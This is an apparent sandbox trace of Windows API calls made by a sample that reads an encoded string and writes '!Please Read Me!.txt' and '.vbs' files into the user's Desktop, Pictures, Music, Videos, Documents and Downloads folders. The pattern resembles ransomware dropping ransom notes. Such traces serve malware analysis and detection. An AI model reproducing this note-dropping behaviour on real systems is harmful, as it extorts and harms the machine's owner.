[0124.782] GetWindowTextW (in: hWnd=0x2027e, lpString=0x2ecdf0, nMaxCount=173 | out: lpString="SZg+EkrnJANzk++5Lg3gX3ActUFSNxkUboH7QUcqkCSPOhklgyhoCLtXI2IWjrt5ypCu0jdJd8NW+eGrTy0O01Kuq+1dezPw6+1LCpAdziNogZL2z7xepsgnwXV+IXSDaLQQ/ttnv52fhco4oIToo1CpJxHgeW6IrACq5zQLHUo=") returned 172
[0124.782] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2027e, Msg=0xd, wParam=0xad, lParam=0x2ecdf0) returned 0xac
[0124.785] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2ec910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x3a
[0124.785] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ecdf0) returned 1
[0124.785] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0124.803] GetFileType (hFile=0x3a8) returned 0x1
[0124.803] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ecd60) returned 1
[0124.803] GetFileType (hFile=0x3a8) returned 0x1
[0124.803] WriteFile (in: hFile=0x3a8, lpBuffer=0x2719628*, nNumberOfBytesToWrite=0x623, lpNumberOfBytesWritten=0x2ece38, lpOverlapped=0x0 | out: lpBuffer=0x2719628*, lpNumberOfBytesWritten=0x2ece38*=0x623, lpOverlapped=0x0) returned 1
[0124.804] CloseHandle (hObject=0x3a8) returned 1
[0124.807] CoTaskMemAlloc (cb=0x20c) returned 0x1ac1a6a0
[0124.807] SHGetFolderPathW (in: hwnd=0x0, csidl=39, hToken=0x0, dwFlags=0x0, pszPath=0x1ac1a6a0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned 0x0
[0124.810] CoTaskMemFree (pv=0x1ac1a6a0)
[0124.810] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", nBufferLength=0x105, lpBuffer=0x2ec980, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", lpFilePart=0x0) returned 0x26
[0124.810] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", nBufferLength=0x105, lpBuffer=0x2ecb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", lpFilePart=0x0) returned 0x26
[0124.810] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", nBufferLength=0x105, lpBuffer=0x2ecb10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", lpFilePart=0x0) returned 0x26
[0124.810] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", nBufferLength=0x105, lpBuffer=0x2ecab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", lpFilePart=0x0) returned 0x26
[0124.810] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x2ecb00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d
[0124.810] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", nBufferLength=0x105, lpBuffer=0x2ecb10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", lpFilePart=0x0) returned 0x26
[0124.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ecf50) returned 1
[0124.810] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures"), fInfoLevelId=0x0, lpFileInformation=0x2ed030 | out: lpFileInformation=0x2ed030*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x245c48a0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x245c48a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
[0124.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ecf10) returned 1
[0124.810] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", nBufferLength=0x105, lpBuffer=0x2ecb00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", lpFilePart=0x0) returned 0x26
[0124.811] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ecf40) returned 1
[0124.811] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures"), fInfoLevelId=0x0, lpFileInformation=0x2ed020 | out: lpFileInformation=0x2ed020*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x245c48a0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x245c48a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
[0124.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ecf00) returned 1
[0124.811] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ecf60) returned 1
[0124.811] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x2eca50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d
[0124.811] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", nBufferLength=0x105, lpBuffer=0x2ec9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", lpFilePart=0x0) returned 0x26
[0124.811] GetFullPathNameW (in: lpFileName="Pictures", nBufferLength=0x105, lpBuffer=0x2ec9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Pictures", lpFilePart=0x0) returned 0x2e
[0124.811] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", lpFindFileData=0x2ecc00 | out: lpFindFileData=0x2ecc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x245c48a0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x245c48a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 0x1ac189d0
[0124.811] FindNextFileW (in: hFindFile=0x1ac189d0, lpFindFileData=0x2ecc50 | out: lpFindFileData=0x2ecc50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0124.812] FindClose (in: hFindFile=0x1ac189d0 | out: hFindFile=0x1ac189d0) returned 1
[0124.812] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eceb0) returned 1
[0124.812] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ece70) returned 1
[0124.812] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\.", nBufferLength=0x105, lpBuffer=0x2ec970, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", lpFilePart=0x0) returned 0x26
[0124.813] GetWindowTextLengthW (hWnd=0x2027e) returned 172
[0124.813] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2027e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xac
[0124.813] GetSystemMetrics (nIndex=42) returned 0
[0124.814] GetWindowTextW (in: hWnd=0x2027e, lpString=0x2ecdf0, nMaxCount=173 | out: lpString="SZg+EkrnJANzk++5Lg3gX3ActUFSNxkUboH7QUcqkCSPOhklgyhoCLtXI2IWjrt5ypCu0jdJd8NW+eGrTy0O01Kuq+1dezPw6+1LCpAdziNogZL2z7xepsgnwXV+IXSDaLQQ/ttnv52fhco4oIToo1CpJxHgeW6IrACq5zQLHUo=") returned 172
[0124.814] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2027e, Msg=0xd, wParam=0xad, lParam=0x2ecdf0) returned 0xac
[0124.814] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2ec910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x3b
[0124.814] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ecdf0) returned 1
[0124.814] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3ac
[0124.816] GetFileType (hFile=0x3ac) returned 0x1
[0124.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ecd60) returned 1
[0124.816] GetFileType (hFile=0x3ac) returned 0x1
[0124.816] WriteFile (in: hFile=0x3ac, lpBuffer=0x2722810*, nNumberOfBytesToWrite=0x623, lpNumberOfBytesWritten=0x2ece38, lpOverlapped=0x0 | out: lpBuffer=0x2722810*, lpNumberOfBytesWritten=0x2ece38*=0x623, lpOverlapped=0x0) returned 1
[0124.817] CloseHandle (hObject=0x3ac) returned 1
[0124.819] CoTaskMemAlloc (cb=0x20c) returned 0x1ac1a6a0
[0124.819] SHGetFolderPathW (in: hwnd=0x0, csidl=13, hToken=0x0, dwFlags=0x0, pszPath=0x1ac1a6a0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned 0x0
[0124.820] CoTaskMemFree (pv=0x1ac1a6a0)
[0124.820] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", nBufferLength=0x105, lpBuffer=0x2ec980, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23
[0124.820] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", nBufferLength=0x105, lpBuffer=0x2ecb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23
[0124.820] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", nBufferLength=0x105, lpBuffer=0x2ecb10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23
[0124.820] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", nBufferLength=0x105, lpBuffer=0x2ecab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23
[0124.820] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x2ecb00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d
[0124.820] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", nBufferLength=0x105, lpBuffer=0x2ecb10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23
[0124.821] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ecf50) returned 1
[0124.821] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music"), fInfoLevelId=0x0, lpFileInformation=0x2ed030 | out: lpFileInformation=0x2ed030*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x26aa9da0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x26aa9da0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
[0124.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ecf10) returned 1
[0124.821] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", nBufferLength=0x105, lpBuffer=0x2ecb00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23
[0124.821] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ecf40) returned 1
[0124.821] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music"), fInfoLevelId=0x0, lpFileInformation=0x2ed020 | out: lpFileInformation=0x2ed020*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x26aa9da0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x26aa9da0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
[0124.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ecf00) returned 1
[0124.821] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ecf60) returned 1
[0124.821] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x2eca50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d
[0124.821] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", nBufferLength=0x105, lpBuffer=0x2ec9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23
[0124.821] GetFullPathNameW (in: lpFileName="Music", nBufferLength=0x105, lpBuffer=0x2ec9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Music", lpFilePart=0x0) returned 0x2b
[0124.821] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFindFileData=0x2ecc00 | out: lpFindFileData=0x2ecc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x26aa9da0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x26aa9da0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 0x1ac18af0
[0124.821] FindNextFileW (in: hFindFile=0x1ac18af0, lpFindFileData=0x2ecc50 | out: lpFindFileData=0x2ecc50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0124.822] FindClose (in: hFindFile=0x1ac18af0 | out: hFindFile=0x1ac18af0) returned 1
[0124.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eceb0) returned 1
[0124.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ece70) returned 1
[0124.822] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\.", nBufferLength=0x105, lpBuffer=0x2ec970, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23
[0124.823] GetWindowTextLengthW (hWnd=0x2027e) returned 172
[0124.823] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2027e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xac
[0124.823] GetSystemMetrics (nIndex=42) returned 0
[0124.823] GetWindowTextW (in: hWnd=0x2027e, lpString=0x2ecdf0, nMaxCount=173 | out: lpString="SZg+EkrnJANzk++5Lg3gX3ActUFSNxkUboH7QUcqkCSPOhklgyhoCLtXI2IWjrt5ypCu0jdJd8NW+eGrTy0O01Kuq+1dezPw6+1LCpAdziNogZL2z7xepsgnwXV+IXSDaLQQ/ttnv52fhco4oIToo1CpJxHgeW6IrACq5zQLHUo=") returned 172
[0124.823] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2027e, Msg=0xd, wParam=0xad, lParam=0x2ecdf0) returned 0xac
[0124.824] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2ec910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x38
[0124.824] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ecdf0) returned 1
[0124.824] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3b4
[0124.824] GetFileType (hFile=0x3b4) returned 0x1
[0124.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ecd60) returned 1
[0124.825] GetFileType (hFile=0x3b4) returned 0x1
[0124.825] WriteFile (in: hFile=0x3b4, lpBuffer=0x272b908*, nNumberOfBytesToWrite=0x623, lpNumberOfBytesWritten=0x2ece38, lpOverlapped=0x0 | out: lpBuffer=0x272b908*, lpNumberOfBytesWritten=0x2ece38*=0x623, lpOverlapped=0x0) returned 1
[0124.826] CloseHandle (hObject=0x3b4) returned 1
[0124.832] GetWindowTextLengthW (hWnd=0x2027e) returned 172
[0124.832] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2027e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xac
[0124.832] GetSystemMetrics (nIndex=42) returned 0
[0124.832] GetWindowTextW (in: hWnd=0x2027e, lpString=0x2ecdf0, nMaxCount=173 | out: lpString="SZg+EkrnJANzk++5Lg3gX3ActUFSNxkUboH7QUcqkCSPOhklgyhoCLtXI2IWjrt5ypCu0jdJd8NW+eGrTy0O01Kuq+1dezPw6+1LCpAdziNogZL2z7xepsgnwXV+IXSDaLQQ/ttnv52fhco4oIToo1CpJxHgeW6IrACq5zQLHUo=") returned 172
[0124.832] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2027e, Msg=0xd, wParam=0xad, lParam=0x2ecdf0) returned 0xac
[0124.832] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2ec910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x39
[0124.832] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ecdf0) returned 1
[0124.832] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3b4
[0124.833] GetFileType (hFile=0x3b4) returned 0x1
[0124.833] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ecd60) returned 1
[0124.833] GetFileType (hFile=0x3b4) returned 0x1
[0124.833] WriteFile (in: hFile=0x3b4, lpBuffer=0x2735778*, nNumberOfBytesToWrite=0x623, lpNumberOfBytesWritten=0x2ece38, lpOverlapped=0x0 | out: lpBuffer=0x2735778*, lpNumberOfBytesWritten=0x2ece38*=0x623, lpOverlapped=0x0) returned 1
[0124.835] CloseHandle (hObject=0x3b4) returned 1
[0124.836] GetWindowTextLengthW (hWnd=0x2027e) returned 172
[0124.836] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2027e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xac
[0124.836] GetSystemMetrics (nIndex=42) returned 0
[0124.836] GetWindowTextW (in: hWnd=0x2027e, lpString=0x2ecdf0, nMaxCount=173 | out: lpString="SZg+EkrnJANzk++5Lg3gX3ActUFSNxkUboH7QUcqkCSPOhklgyhoCLtXI2IWjrt5ypCu0jdJd8NW+eGrTy0O01Kuq+1dezPw6+1LCpAdziNogZL2z7xepsgnwXV+IXSDaLQQ/ttnv52fhco4oIToo1CpJxHgeW6IrACq5zQLHUo=") returned 172
[0124.836] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2027e, Msg=0xd, wParam=0xad, lParam=0x2ecdf0) returned 0xac
[0124.836] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2ec910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x3c
[0124.836] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ecdf0) returned 1
[0124.836] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3b4
[0124.840] GetFileType (hFile=0x3b4) returned 0x1
[0124.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ecd60) returned 1
[0124.840] GetFileType (hFile=0x3b4) returned 0x1
[0124.841] WriteFile (in: hFile=0x3b4, lpBuffer=0x273c9e0*, nNumberOfBytesToWrite=0x623, lpNumberOfBytesWritten=0x2ece38, lpOverlapped=0x0 | out: lpBuffer=0x273c9e0*, lpNumberOfBytesWritten=0x2ece38*=0x623, lpOverlapped=0x0) returned 1
[0124.842] CloseHandle (hObject=0x3b4) returned 1
[0124.843] GetWindowTextLengthW (hWnd=0x2027e) returned 172
[0124.843] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2027e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xac
[0124.843] GetSystemMetrics (nIndex=42) returned 0
[0124.843] GetWindowTextW (in: hWnd=0x2027e, lpString=0x2ecdf0, nMaxCount=173 | out: lpString="SZg+EkrnJANzk++5Lg3gX3ActUFSNxkUboH7QUcqkCSPOhklgyhoCLtXI2IWjrt5ypCu0jdJd8NW+eGrTy0O01Kuq+1dezPw6+1LCpAdziNogZL2z7xepsgnwXV+IXSDaLQQ/ttnv52fhco4oIToo1CpJxHgeW6IrACq5zQLHUo=") returned 172
[0124.843] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2027e, Msg=0xd, wParam=0xad, lParam=0x2ecdf0) returned 0xac
[0124.843] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2ec910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x3c
[0124.843] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ecdf0) returned 1
[0124.843] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3b4
[0124.844] GetFileType (hFile=0x3b4) returned 0x1
[0124.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ecd60) returned 1
[0124.844] GetFileType (hFile=0x3b4) returned 0x1
[0124.844] WriteFile (in: hFile=0x3b4, lpBuffer=0x2743c48*, nNumberOfBytesToWrite=0x623, lpNumberOfBytesWritten=0x2ece38, lpOverlapped=0x0 | out: lpBuffer=0x2743c48*, lpNumberOfBytesWritten=0x2ece38*=0x623, lpOverlapped=0x0) returned 1
[0124.845] CloseHandle (hObject=0x3b4) returned 1
[0124.846] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2ec910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x3a
[0124.847] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ecdf0) returned 1
[0124.847] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3b4
[0124.848] GetFileType (hFile=0x3b4) returned 0x1
[0124.848] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ecd60) returned 1
[0124.848] GetFileType (hFile=0x3b4) returned 0x1
[0124.848] WriteFile (in: hFile=0x3b4, lpBuffer=0x2747c70*, nNumberOfBytesToWrite=0x4bb, lpNumberOfBytesWritten=0x2ece38, lpOverlapped=0x0 | out: lpBuffer=0x2747c70*, lpNumberOfBytesWritten=0x2ece38*=0x4bb, lpOverlapped=0x0) returned 1
[0124.849] CloseHandle (hObject=0x3b4) returned 1
[0124.857] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2ec910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x3c
[0124.857] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ecdf0) returned 1
